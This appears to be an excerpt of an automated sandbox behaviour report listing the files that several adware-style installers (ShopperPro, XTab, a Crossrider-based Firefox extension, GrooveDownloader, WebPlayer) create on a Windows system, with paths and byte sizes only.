C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\fgvcbv.dll (8 bytes)
C:\Windows\Tasks\e8cfa312-fa67-431c-a6c1-adcf7585a6ee-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nstAC08.tmp (650101 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiAC18.tmp\gpiaw.dll (30112 bytes)

The process SciLors GrooveDownloader.exe:3808 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\config.xml (562 bytes)
%Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\access (8 bytes)

The process 671594b7-fc54-4f9f-982b-96db5cfc3669-4.exe:1844 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\522198f3785492e75ba9b4c45591aa05.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\885e1375c6e76c99931d7ce2af711411.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\74cfe1fb8531407ffa7fc0ac8ce1d2b9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c74cd3345780b6e24bc9bd902854f9e0.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\60c0c59a9b354935bf3fbbaf93741b57.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\89f530fe25e54e63dcdd438a8f3dd6c9.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1b1fa65ba4b50ec767526eae51ebd9a2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f16b29e856c5ecf280f5531435c02fde.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\869a15577f2fff997b20238c925da033.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\1a4a74a0fc68f27a181ff717b1a5cb71.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\23c99f562d487f195b261b0b78ea45d8.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\194920b5351ca9191587a6bde8f528f7.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\74c7df781d9c645a18b28d739ff54a04.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\22132ec8db12bb913155b3372ce3090d.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\394a27b8df72843eda3daf2985412163.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\97f8d6a368a5b6a9949d717086ce81eb.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\12024d6bcc354e178178762b6f5a9ab0.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\3ccc447e3a0e1bb7fe5db2278f6eae24.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b6b8d08fea22525d5da9c061f4a1d43b.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dffb2844bdfefa95f72be82b4ad58f75.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\da2e98a566c919466a0bfdea6650efa6.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7d31e84498dae81ac9ba8e35e62ab269.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7b61c6bde12940e3913588d719bf1ef2.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a1e8744fac4cdb401a37f1d88d99d250.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b3dfd7f38727dfb230fbaccdb2040e0b.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (622 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\29b904e67007824631cbf085a78bffee.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5e803990171a92bc10f5e191e7f7438f.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\789d0c407002ce10559e1376b8acddfe.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b1c8f458e7891496ed79e983283b4e0b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7258188439170037227183965c775772.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\813ec8214fa38416e2564b1d6b16ccff.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\16c324c4ef905828afe14d0bba34d4fb.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9151e1a45eb52e156ab8b3db31d431b1.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\709d93c29965e63d2c086e7cc8e9cb4e.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7cda6eee5328fb952be6459ae1b4005f.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b112bf5e0eadbad0646d423c34bb4414.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\99108a65e02c1be6a322db11526ad551.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f70f6ccbdec829aa84232a4f4c3ba2ec.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\754600f68392e188dc28c8cab5e4ef37.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d51f9281217d3eb39e222f4b8426336d.js (649 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\cb7bbbaff7c1f679777d329ec47a6d9d.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2d61c069454c93969bce9652abc0da07.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)

The process ShopperPro.exe:3332 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (487 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1254 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\config.json (767 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\jsdrv.exe (22786 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1.41.0.1748\database1_0_0.ej (14 bytes)

The process XTab_Setup2121.exe:960 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (17941 bytes)
%Program Files% (x86)\XTab\conf (1594 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\ver.txt (47 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1685 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd9D58.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (21280 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5468 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1028.xpi (15 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (15946 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (16990 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process WebPlayer.exe:4000 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\4.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (3795 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\analytics[1].js (16603 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\f3ad8b396434c21b4c214fd667ee391d[1].png (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\7d4f668f3d1818d01b6b9684b669d0db[1].png (6417 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\b147a5a09b49b133d347bd975a4c5616[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\3d8bbea6bcae57d705c676f7050a7d51[1].png (5965 bytes)
